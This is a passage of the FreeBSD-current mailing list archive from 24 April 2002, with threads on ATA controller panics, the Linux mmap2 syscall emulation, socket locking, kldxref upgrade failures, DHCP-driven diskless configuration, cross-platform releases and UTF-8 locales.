g3OCHRNe019986; Wed, 24 Apr 2002 14:17:27 +0200 (CEST) (envelope-from sos) From: Sřren Schmidt Message-Id: <200204241217.g3OCHRNe019986@freebsd.dk> Subject: Re: still ATA problems with promise tx2 In-Reply-To: <20020424144313.A41107@rigel.grass.st> To: mika ruohotie Date: Wed, 24 Apr 2002 14:17:27 +0200 (CEST) Cc: current@FreeBSD.ORG Reply-To: sos@freebsd.dk X-Mailer: ELM [version 2.4ME+ PL94b (25)] MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Content-Type: text/plain; charset=ISO-8859-1 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG It seems mika ruohotie wrote: > > hello, > > i couldnt decide from reading the list if there should or shouldnt > be problems with promise ata/100 controller with current. I dont think so... > anyway, i have problems with it. > > i've tried several current versions from the devel snapshot to apr 22nd > and all of those fail after installation. > > in the floppy boot all looks ok, and it installs fine, but when i > boot up after the installation it panics every time, looks like at > the time the machine is probing for the controller. > > any ideas? > > i might be able to provide more information if this sounds like > something which shouldnt be happening. (trace, whatever needed) That would be most helpfull, where does it panic, what is the panic message ? -Sřren To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Apr 24 5:23:58 2002 Delivered-To: freebsd-current@freebsd.org Received: from zibbi.icomtek.csir.co.za (zibbi.icomtek.csir.co.za [146.64.24.58]) by hub.freebsd.org (Postfix) with ESMTP id 0624137B417 for ; Wed, 24 Apr 2002 05:23:49 -0700 (PDT) Received: (from jhay@localhost) by zibbi.icomtek.csir.co.za (8.11.6/8.11.6) id g3OCM4h36040; Wed, 24 Apr 2002 14:22:04 +0200 (SAT) (envelope-from jhay) From: John Hay Message-Id: <200204241222.g3OCM4h36040@zibbi.icomtek.csir.co.za> Subject: Re: new expr(1) behaviour breaks libtool In-Reply-To: <200204222124.g3MLOkJ03799@khavrinen.lcs.mit.edu> from Garrett Wollman at "Apr 22, 2002 05:24:46 pm" To: wollman@lcs.mit.edu (Garrett Wollman) Date: Wed, 24 Apr 2002 14:22:04 +0200 (SAT) Cc: freebsd-current@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL54 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG > > I have just committed code to expr which will cause it to behave more > like the old expr did in the presence of an EXPR_COMPAT environment > variable. Ports can then be set up to build with this variable > defined until the libtool maintainers fix up their act. Thanks, with this and some patches to the ghostscript-gnu and jade ports, I can now build releases with docs. John -- John Hay -- John.Hay@icomtek.csir.co.za / jhay@FreeBSD.org To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Apr 24 6:44:33 2002 Delivered-To: freebsd-current@freebsd.org Received: from duke.cs.duke.edu (duke.cs.duke.edu [152.3.140.1]) by hub.freebsd.org (Postfix) with ESMTP id 1608B37B421; Wed, 24 Apr 2002 06:44:21 -0700 (PDT) Received: from grasshopper.cs.duke.edu (grasshopper.cs.duke.edu [152.3.145.30]) by duke.cs.duke.edu (8.9.3/8.9.3) with ESMTP id JAA20625; Wed, 24 Apr 2002 09:41:58 -0400 (EDT) Received: (from gallatin@localhost) by grasshopper.cs.duke.edu (8.11.6/8.9.1) id g3ODfSq92825; Wed, 24 Apr 2002 09:41:28 -0400 (EDT) (envelope-from gallatin@cs.duke.edu) From: Andrew Gallatin MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15558.46600.351433.784766@grasshopper.cs.duke.edu> Date: Wed, 24 Apr 2002 09:41:28 -0400 (EDT) To: Kenneth Culver Cc: freebsd-hackers@freebsd.org, Subject: Re: implementing linux mmap2 syscall In-Reply-To: <20020423181748.W31638-100000@alpha.yumyumyum.org> References: <15557.27747.802212.659760@grasshopper.cs.duke.edu> <20020423181748.W31638-100000@alpha.yumyumyum.org> X-Mailer: VM 6.75 under 21.1 (patch 12) "Channel Islands" XEmacs Lucid Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Kenneth Culver writes: > OK, I THINK I found what calls the actual kernel syscall handler, and > sets it's args first, but I'm not sure: > > from linux_locore.s > > NON_GPROF_ENTRY(linux_sigcode) <...> > Does anyone who actually knows assembly have any ideas? This is the linux sigtramp, or signal trampoline. It is used to wrap a signal handler. Eg, the kernel "calls" it (by returning to it) when it delivers a signal. It calls the apps signal handler. When the handler returns, it calls the linux sigreturn system call. This has essentially nothing to do with system calls. The system call entry point on x86 is int0x80_syscall, which is labled: /* * Call gate entry for FreeBSD ELF and Linux/NetBSD syscall (int 0x80) <..> This then calls syscall2(), which calls the linux prepsyscall. Maybe the argument isn't where you expect it to be, but is there. Can you make a test program which calls mmap2 with its 6th arg as something unique like 0xdeadbeef? Then print out (in hex :) the trapframe from the linux prepsyscall routine & see if you can find the deadbeef. Drew To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Apr 24 7:27:25 2002 Delivered-To: freebsd-current@freebsd.org Received: from mail.speakeasy.net (mail13.speakeasy.net [216.254.0.213]) by hub.freebsd.org (Postfix) with ESMTP id F3DC837B41D for ; Wed, 24 Apr 2002 07:27:18 -0700 (PDT) Received: (qmail 23118 invoked from network); 24 Apr 2002 14:18:53 -0000 Received: from unknown (HELO server.baldwin.cx) ([216.27.160.63]) (envelope-sender ) by mail13.speakeasy.net (qmail-ldap-1.03) with DES-CBC3-SHA encrypted SMTP for ; 24 Apr 2002 14:18:53 -0000 Received: from laptop.baldwin.cx (gw1.twc.weather.com [216.133.140.1]) by server.baldwin.cx (8.11.6/8.11.6) with ESMTP id g3OEIqv06707; Wed, 24 Apr 2002 10:18:52 -0400 (EDT) (envelope-from jhb@FreeBSD.org) Message-ID: X-Mailer: XFMail 1.5.2 on FreeBSD X-Priority: 3 (Normal) Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit MIME-Version: 1.0 In-Reply-To: <200204241110.g3OB8u8t006194@bunko> Date: Wed, 24 Apr 2002 10:18:01 -0400 (EDT) From: John Baldwin To: Seigo Tanimura Subject: RE: Locking down a socket, milestone 1 Cc: Seigo Tanimura Cc: Seigo Tanimura , smp@FreeBSD.org, current@FreeBSD.org Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On 24-Apr-2002 Seigo Tanimura wrote: > I am now working on locking down a socket. (I have heard that Jeffrey > Hsu is also doing that, but I have never seen his patch. Has anyone > seen that?) My first milestone patch is now available at: > > > http://people.FreeBSD.org/~tanimura/patches/socket_milestone1.diff.gz > > > The works I have done so far are: > > > - Determine the lock required to protect each of the members in struct > socket. > > - Add mutexes to each of the sockbufs in a socket as BSD/OS does. > > - Lock down so_count, so_options, so_linger and so_state. > > - Add a global mutex socq_lock to protect the connection queues of a > listening socket. Lock socq_lock to lock two sockets at once, > followed by enqueuing or dequeuing a socket, or moving a socket across > queues. socq_lock is not an sx lock because we usually have to lock > two sockets to modify them. Do you actually lock two sockets at once or do you lock one at a time while holding socq_lock. If you do lock two at once, what is the defined locking order? -- John Baldwin <>< http://www.FreeBSD.org/~jhb/ "Power Users Use the Power to Serve!" - http://www.FreeBSD.org/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Apr 24 7:43:42 2002 Delivered-To: freebsd-current@freebsd.org Received: from mailout06.sul.t-online.com (mailout06.sul.t-online.com [194.25.134.19]) by hub.freebsd.org (Postfix) with ESMTP id B521337B421 for ; Wed, 24 Apr 2002 07:43:36 -0700 (PDT) Received: from fwd10.sul.t-online.de by mailout06.sul.t-online.com with smtp id 170Lin-0001os-0I; Wed, 24 Apr 2002 14:18:05 +0200 Received: from bender (310048585289-0001@[62.225.210.218]) by fwd10.sul.t-online.com with smtp id 170Lia-2GzglUC; Wed, 24 Apr 2002 14:17:52 +0200 Message-ID: <003801c1eb8a$0e786530$594bfea9@bender> From: Jeff.Kelly@t-online.de (=?iso-8859-1?Q?Christian_Fl=FCgel?=) To: Subject: Re: upgrade from 4.5 to current fails Date: Wed, 24 Apr 2002 14:17:51 +0200 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 8bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2600.0000 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 X-Sender: 310048585289-0001@t-dialin.net Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG ----- Original Message ----- From: "Kris Kennaway" To: "Christian Flügel" Cc: Sent: Wednesday, April 24, 2002 4:05 AM Subject: Re: upgrade from 4.5 to current fails > On Tue, Apr 23, 2002 at 11:55:37PM +0200, Christian Flügel wrote: > > Hello Folks. > > > > I currently try to upgrade from 4.5 STABLE to CURRENT. > > > > I have cvsuped my source and already made buildworld and buildkernel. > > > > But installworld failed with Signal 12 while installing chpass. > > You're attempting to upgrade incorrectly. Follow the directions > _precisely_ and this won't happen. If this would work I'd gladly follow the procedure described in updating. make buildworld: works ok. make buildkernel: works ok. copy GENERIC.hints to /boot/device.hints: works ok. make installkernel: stops with error: "kldxref not found" The suggestion on current was to simply make installworld so that the missing file is installed and then make installkernel but this one wouldn't work either. so the kernel does need a file which is only part of curent but world will only install itself when a current kernel exists. Like the snake biting its own tail. Regards Christian To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Apr 24 7:46:37 2002 Delivered-To: freebsd-current@freebsd.org Received: from arg1.demon.co.uk (arg1.demon.co.uk [62.49.12.213]) by hub.freebsd.org (Postfix) with ESMTP id 7B05237B41D; Wed, 24 Apr 2002 07:46:29 -0700 (PDT) Received: by arg1.demon.co.uk (Postfix, from userid 1002) id DFA119B27; Wed, 24 Apr 2002 15:45:13 +0100 (BST) Received: from localhost (localhost [127.0.0.1]) by arg1.demon.co.uk (Postfix) with ESMTP id DC1AB5D0C; Wed, 24 Apr 2002 15:45:13 +0100 (BST) Date: Wed, 24 Apr 2002 15:45:13 +0100 (BST) From: Andrew Gordon X-X-Sender: To: Danny Braniss Cc: Freebsd Current , Subject: Re: what if/diskless booting In-Reply-To: Message-ID: <20020424144458.J40139-100000@server.arg.sj.co.uk> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Wed, 24 Apr 2002, Danny Braniss wrote: > > i modified libstand/bootp.c to place all the tags - that dhcp provides - in > the kernel > environmet, so that they can be used later - eg in rc.diskless1. > > what if: > we place the rc.conf[.local] there? > in the dhcpd.conf: > option rc-conf "132.65.16.100:/d/4/etc/rc.conf" > and so - automagicaly - > `kenv rc.conf.diskless_root_readonly` > or > kenv | grep rc.conf | sed 's/rc.conf.//' > rc.conf > Note that Luigi has recently committed something similar to create the sysctl kern.bootp_cookie (see /sys/nfs_client/bootp.c rev 1.36). I have also been doing the same thing for some time, but the difference in my version is that I use four separate DHCP options (133,134,135,136 at present, though this isn't important) and concatenate their together onto the end of the (MFS copy of) /etc/rc.conf from rc.diskless1. The reason for using four options is that in the DHCP configuration there are a number of different scopes in which you can put the option assignments, all of which are potentially useful for diskless configuration options. For example, in our setup we have some things that need to be set per-subnet (eg. which servers to use), some that need to be per group{} of machines in the dhcpd.conf (eg. we have one group of 486-class machines that are pure X-terminals, and another of more powerful machines which are allowed to run more services locally), and finally there are some options that need to be set per-machine (eg. which machines need to run lpd because they have a printer attached). Each scope gets its own DHCP option, and then they are all concatenated together onto the end of rc.conf. Before implementing this scheme, we tried to use the /etc/conf/ scheme, but this didn't really scale well. We started with just two classes of hardware, so had two /etc/conf/{IBM,COMPAQ} directories with symlinks for each of the machines of that class, but then as the network expanded we needed per-subnet configuration and the /etc/conf/${ipba} scheme didn't work as we still needed the per-machine-class configuration too. Then we started adding local printers and we now had /etc/conf/{IBM-net10,COMPAQ-net10,IBM-net11,COMPAQ-net11,IBM-net10-printer} etc and then we got some new hardware that wasn't quite the same... With the new scheme, everything is configured in just one place and adding a new machine or a new per-subnet service is easy. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Apr 24 8: 4:16 2002 Delivered-To: freebsd-current@freebsd.org Received: from mailout03.sul.t-online.com (mailout03.sul.t-online.com [194.25.134.81]) by hub.freebsd.org (Postfix) with ESMTP id 7B8F837B405 for ; Wed, 24 Apr 2002 08:04:11 -0700 (PDT) Received: from fwd10.sul.t-online.de by mailout03.sul.t-online.com with smtp id 170Lnr-0001UT-05; Wed, 24 Apr 2002 14:23:19 +0200 Received: from bender (310048585289-0001@[62.225.210.218]) by fwd10.sul.t-online.com with smtp id 170LnO-17tAgKC; Wed, 24 Apr 2002 14:22:50 +0200 Message-ID: <004d01c1eb8a$bfadfef0$594bfea9@bender> From: Jeff.Kelly@t-online.de (=?iso-8859-1?Q?Christian_Fl=FCgel?=) To: Subject: Re: upgrade from 4.5 to current fails Date: Wed, 24 Apr 2002 14:22:49 +0200 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 8bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2600.0000 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 X-Sender: 310048585289-0001@t-dialin.net Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG ----- Original Message ----- From: "Christian Flügel" To: Sent: Wednesday, April 24, 2002 2:17 PM Subject: Re: upgrade from 4.5 to current fails > make installkernel: stops with error: "kldxref not found" OK. I figured this one out for myself. cd usr.sbin/kldxref make depend make make install solved the problem. Maybe this should be put in UPDATING? Regards Christian To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Apr 24 8:12:31 2002 Delivered-To: freebsd-current@freebsd.org Received: from peetree.cs.huji.ac.il (peetree.cs.huji.ac.il [132.65.80.34]) by hub.freebsd.org (Postfix) with ESMTP id 2CCE337B41D; Wed, 24 Apr 2002 08:12:24 -0700 (PDT) Received: from pampa.cs.huji.ac.il ([132.65.80.32] ident=danny) by peetree.cs.huji.ac.il with esmtp id 170OPU-0002J2-00; Wed, 24 Apr 2002 18:10:20 +0300 X-Mailer: exmh version 2.5 07/13/2001 with nmh-1.0.4 To: Andrew Gordon Cc: Freebsd Current , luigi@freebsd.org Subject: Re: what if/diskless booting In-Reply-To: Message from Andrew Gordon of "Wed, 24 Apr 2002 15:45:13 BST." <20020424144458.J40139-100000@server.arg.sj.co.uk> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Wed, 24 Apr 2002 18:10:20 +0300 From: Danny Braniss Message-Id: Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG > Note that Luigi has recently committed something similar to create the > sysctl kern.bootp_cookie (see /sys/nfs_client/bootp.c rev 1.36). > i will check that out asap. > I have also been doing the same thing for some time, but the difference in > my version is that I use four separate DHCP options (133,134,135,136 at > present, though this isn't important) and concatenate their together onto > the end of the (MFS copy of) /etc/rc.conf from rc.diskless1. > well, not much different from my proposal, which probably means that we are thinking somewhat alike :-) with my scheme, i could concat more than one file, and place all the name/value pairs in the environmet. im trying to solve the chicken and egg problem: there are some (few) things that have to be dealt very early - ie. is / RO or RW, etc. secondly, im also getting bogged down trying to configure clusters/few/single hosts with some particularities, and having some kind of central control is escential so that i can keep my sanity. we developed a very sophisticated (in other words complicated) system to configure our linux boxes, and it's getting to the point that too much time is spent debugging the system each time a new hardare/box appears :-) the freebsd scheme is much more to my liking, it just needs something more ... > The reason for using four options is that in the DHCP configuration there > are a number of different scopes in which you can put the option > assignments, all of which are potentially useful for diskless > configuration options. > > For example, in our setup we have some things that need to be set > per-subnet (eg. which servers to use), some that need to be per group{} of > machines in the dhcpd.conf (eg. we have one group of 486-class machines > that are pure X-terminals, and another of more powerful machines which are > allowed to run more services locally), and finally there are some options > that need to be set per-machine (eg. which machines need to run lpd > because they have a printer attached). Each scope gets its own DHCP > option, and then they are all concatenated together onto the end of > rc.conf. > > Before implementing this scheme, we tried to use the /etc/conf/ > scheme, but this didn't really scale well. We started with just two > classes of hardware, so had two /etc/conf/{IBM,COMPAQ} directories with > symlinks for each of the machines of that class, but then as the network > expanded we needed per-subnet configuration and the /etc/conf/${ipba} > scheme didn't work as we still needed the per-machine-class configuration > too. Then we started adding local printers and we now had > /etc/conf/{IBM-net10,COMPAQ-net10,IBM-net11,COMPAQ-net11,IBM-net10-printer} > etc and then we got some new hardware that wasn't quite the same... > he he, been there too! we get a batch of 50 machines, they are all alike, great, then some want to swap localy, fine, then some change the cd to cdr, they add a different sound card, etc, etc, > With the new scheme, everything is configured in just one place and > adding a new machine or a new per-subnet service is easy. > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Apr 24 8:14:10 2002 Delivered-To: freebsd-current@freebsd.org Received: from whale.sunbay.crimea.ua (whale.sunbay.crimea.ua [212.110.138.65]) by hub.freebsd.org (Postfix) with ESMTP id E7E7A37B416; Wed, 24 Apr 2002 08:13:56 -0700 (PDT) Received: (from ru@localhost) by whale.sunbay.crimea.ua (8.11.6/8.11.2) id g3OFC1496866; Wed, 24 Apr 2002 18:12:01 +0300 (EEST) (envelope-from ru) Date: Wed, 24 Apr 2002 18:12:01 +0300 From: Ruslan Ermilov To: current@FreeBSD.org Cc: re@FreeBSD.org, matusita@FreeBSD.org Subject: Cross-platform releases Message-ID: <20020424151201.GA94711@sunbay.com> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="h31gzZEtNLTqOjlF" Content-Disposition: inline User-Agent: Mutt/1.3.27i Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG --h31gzZEtNLTqOjlF Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable Hi! This is just a heads up for anyone interested that I have just started working on a cross-platform "make release" issue so that "make release TARGET_ARCH=3Dalpha" on an i386 box would produce a working Alpha release. The next task will be to support cross-branch "make releases" so that a 4.x box could be used to produce a 5.0 snapshot. Combined together, that would give me an ability to test my 5.0 changes with "make release" on a fast 2x1GHz box that runs -STABLE. Supporting non-root "make release"s might be a good idea too. Cheers, --=20 Ruslan Ermilov Sysadmin and DBA, ru@sunbay.com Sunbay Software AG, ru@FreeBSD.org FreeBSD committer, +380.652.512.251 Simferopol, Ukraine http://www.FreeBSD.org The Power To Serve http://www.oracle.com Enabling The Information Age --h31gzZEtNLTqOjlF Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (FreeBSD) Comment: For info see http://www.gnupg.org iD8DBQE8xstBUkv4P6juNwoRAvSEAJ4yjC3r8QLx/X7yAhZq5CaYDas7EQCeL64x uYPLliMXv+9v3c+TgOF5yKo= =xYGZ -----END PGP SIGNATURE----- --h31gzZEtNLTqOjlF-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Apr 24 8:32:15 2002 Delivered-To: freebsd-current@freebsd.org Received: from troutmask.apl.washington.edu (troutmask.apl.washington.edu [128.208.78.105]) by hub.freebsd.org (Postfix) with ESMTP id 72E3D37B41F for ; Wed, 24 Apr 2002 08:30:27 -0700 (PDT) Received: from troutmask.apl.washington.edu (localhost [127.0.0.1]) by troutmask.apl.washington.edu (8.12.3/8.12.2) with ESMTP id g3OFTbqM035488; Wed, 24 Apr 2002 08:29:37 -0700 (PDT) (envelope-from sgk@troutmask.apl.washington.edu) Received: (from sgk@localhost) by troutmask.apl.washington.edu (8.12.3/8.12.3/Submit) id g3OFTbol035487; Wed, 24 Apr 2002 08:29:37 -0700 (PDT) Date: Wed, 24 Apr 2002 08:29:37 -0700 From: Steve Kargl To: =?iso-8859-1?Q?Christian_Fl=FCgel?= Cc: freebsd-current@FreeBSD.ORG Subject: Re: upgrade from 4.5 to current fails Message-ID: <20020424082937.A35418@troutmask.apl.washington.edu> References: <004d01c1eb8a$bfadfef0$594bfea9@bender> Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Disposition: inline Content-Transfer-Encoding: 8bit User-Agent: Mutt/1.2.5.1i In-Reply-To: <004d01c1eb8a$bfadfef0$594bfea9@bender>; from Jeff.Kelly@t-online.de on Wed, Apr 24, 2002 at 02:22:49PM +0200 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Wed, Apr 24, 2002 at 02:22:49PM +0200, Christian Flügel wrote: > ----- Original Message ----- > From: "Christian Flügel" > To: > Sent: Wednesday, April 24, 2002 2:17 PM > Subject: Re: upgrade from 4.5 to current fails > > > > make installkernel: stops with error: "kldxref not found" > > OK. I figured this one out for myself. > > cd usr.sbin/kldxref > make depend > make > make install > > solved the problem. Maybe this should be put in UPDATING? > If you start at 4.5 and upgrade to current, then the installkernel should report kldxref /boot/kernel kldxref: No Such File or Directory ***Error code 1(ignored) Note the Error code 1(ignored). See for example, Date: Sat, 30 Mar 2002 20:54:14 -0800 (PST) From: Doug White To: "A.Z." Cc: freebsd-current@FreeBSD.ORG Subject: Re: kldxref problem Message-ID: <20020330205329.D51062-100000@resnet.uoregon.edu> In-Reply-To: <001601c1d87f$620474f0$6401a8c0@voodoowixp> As Kris stated, follow the documented 4.5 to current upgrade procedure in UPDATING. -- Steve To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Apr 24 8:34: 4 2002 Delivered-To: freebsd-current@freebsd.org Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by hub.freebsd.org (Postfix) with ESMTP id 9679237B4A5; Wed, 24 Apr 2002 08:31:51 -0700 (PDT) Received: from pyanfar.ece.cmu.edu (allbery@PYANFAR.ECE.CMU.EDU [128.2.136.40]) (authenticated) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id g3OFV9w21160; Wed, 24 Apr 2002 11:31:09 -0400 (EDT) Subject: Re: implementing linux mmap2 syscall From: Brandon S Allbery KF8NH To: Andrew Gallatin Cc: Kenneth Culver , freebsd-hackers@FreeBSD.ORG, FreeBSD-CURRENT List In-Reply-To: <15558.46600.351433.784766@grasshopper.cs.duke.edu> References: <15557.27747.802212.659760@grasshopper.cs.duke.edu> <20020423181748.W31638-100000@alpha.yumyumyum.org> <15558.46600.351433.784766@grasshopper.cs.duke.edu> Content-Type: text/plain Content-Transfer-Encoding: 7bit X-Mailer: Ximian Evolution 1.0.3 Date: 24 Apr 2002 12:31:08 -0300 Message-Id: <1019662269.6094.1.camel@pyanfar.ece.cmu.edu> Mime-Version: 1.0 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Wed, 2002-04-24 at 10:41, Andrew Gallatin wrote: > Maybe the argument isn't where you expect it to be, but is there. > Can you make a test program which calls mmap2 with its 6th arg as > something unique like 0xdeadbeef? Then print out (in hex :) the trapframe > from the linux prepsyscall routine & see if you can find the deadbeef. My recollection is that beyond 5 arguments, a pointer to the remaining ones is passed. (But my recollection may be wrong and I don't wish to subject myself to the source cesspool at the moment....) -- brandon s. allbery [os/2][linux][solaris][japh] allbery@kf8nh.apk.net system administrator [WAY too many hats] allbery@ece.cmu.edu electrical and computer engineering KF8NH carnegie mellon university ["better check the oblivious first" -ke6sls] To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Apr 24 8:48:35 2002 Delivered-To: freebsd-current@freebsd.org Received: from duke.cs.duke.edu (duke.cs.duke.edu [152.3.140.1]) by hub.freebsd.org (Postfix) with ESMTP id 2CE4437B419; Wed, 24 Apr 2002 08:48:23 -0700 (PDT) Received: from grasshopper.cs.duke.edu (grasshopper.cs.duke.edu [152.3.145.30]) by duke.cs.duke.edu (8.9.3/8.9.3) with ESMTP id LAA24700; Wed, 24 Apr 2002 11:47:57 -0400 (EDT) Received: (from gallatin@localhost) by grasshopper.cs.duke.edu (8.11.6/8.9.1) id g3OFlRf92953; Wed, 24 Apr 2002 11:47:27 -0400 (EDT) (envelope-from gallatin@cs.duke.edu) From: Andrew Gallatin MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15558.54159.737973.56540@grasshopper.cs.duke.edu> Date: Wed, 24 Apr 2002 11:47:27 -0400 (EDT) To: Brandon S Allbery KF8NH Cc: Kenneth Culver , freebsd-hackers@FreeBSD.ORG, FreeBSD-CURRENT List Subject: Re: implementing linux mmap2 syscall In-Reply-To: <1019662269.6094.1.camel@pyanfar.ece.cmu.edu> References: <15557.27747.802212.659760@grasshopper.cs.duke.edu> <20020423181748.W31638-100000@alpha.yumyumyum.org> <15558.46600.351433.784766@grasshopper.cs.duke.edu> <1019662269.6094.1.camel@pyanfar.ece.cmu.edu> X-Mailer: VM 6.75 under 21.1 (patch 12) "Channel Islands" XEmacs Lucid Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Brandon S Allbery KF8NH writes: > On Wed, 2002-04-24 at 10:41, Andrew Gallatin wrote: > > Maybe the argument isn't where you expect it to be, but is there. > > Can you make a test program which calls mmap2 with its 6th arg as > > something unique like 0xdeadbeef? Then print out (in hex :) the trapframe > > from the linux prepsyscall routine & see if you can find the deadbeef. > > My recollection is that beyond 5 arguments, a pointer to the remaining > ones is passed. (But my recollection may be wrong and I don't wish to > subject myself to the source cesspool at the moment....) > I think that's how it used to work. Apparently, they've changed it recently and they now pass 6 args in registers. Eg, in the linux kernel sources, old_mmap() fetches its args via copy_from_user(), whereas the newer sys_mmap2() doesn't. Drew To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Apr 24 9:24:10 2002 Delivered-To: freebsd-current@freebsd.org Received: from kylebutt.dorms.usu.edu (kylebutt.dorms.usu.edu [129.123.231.119]) by hub.freebsd.org (Postfix) with ESMTP id B5D1737B405 for ; Wed, 24 Apr 2002 09:24:07 -0700 (PDT) Received: from kylebutt.dorms.usu.edu (e97cdd25b7b51bf6dcc79f437aa997ef@localhost [127.0.0.1]) by kylebutt.dorms.usu.edu (8.12.2/8.12.2) with ESMTP id g3OGMs4u000212 for ; Wed, 24 Apr 2002 10:22:55 -0600 (MDT) (envelope-from kylebutt@myrealbox.com) Date: Wed, 24 Apr 2002 10:22:54 -0600 Message-ID: <87d6wp83s1.wl@kylebutt.dorms.usu.edu> From: Kyle Butt To: current@freebsd.org Subject: UTF-8 support. User-Agent: Wanderlust/2.8.1 (Unchained Melody) SEMI/1.14.3 (Ushinoya) FLIM/1.14.3 (=?ISO-8859-4?Q?Unebigory=F2mae?=) APEL/2.8.1 Emacs/21.2.50 (i386-unknown-freebsd4.5) MULE/5.0 (SAKAKI) MIME-Version: 1.0 (generated by SEMI 1.14.3 - "Ushinoya") Content-Type: text/plain; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG What's going on as far as adding utf-8 based locales? How can I help? Kyle Butt To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Apr 24 9:28:24 2002 Delivered-To: freebsd-current@freebsd.org Received: from rigel.grass.st (rigel.grass.st [195.197.32.30]) by hub.freebsd.org (Postfix) with ESMTP id A743937B41A for ; Wed, 24 Apr 2002 09:28:11 -0700 (PDT) Received: (from bsdcur@localhost) by rigel.grass.st (8.9.3/8.9.3) id TAA52206; Wed, 24 Apr 2002 19:27:29 +0300 (EEST) (envelope-from bsdcur) Date: Wed, 24 Apr 2002 19:27:29 +0300 From: mika ruohotie To: =?iso-8859-1?Q?S=F8ren_Schmidt?= Cc: mika ruohotie , current@FreeBSD.ORG Subject: Re: still ATA problems with promise tx2 Message-ID: 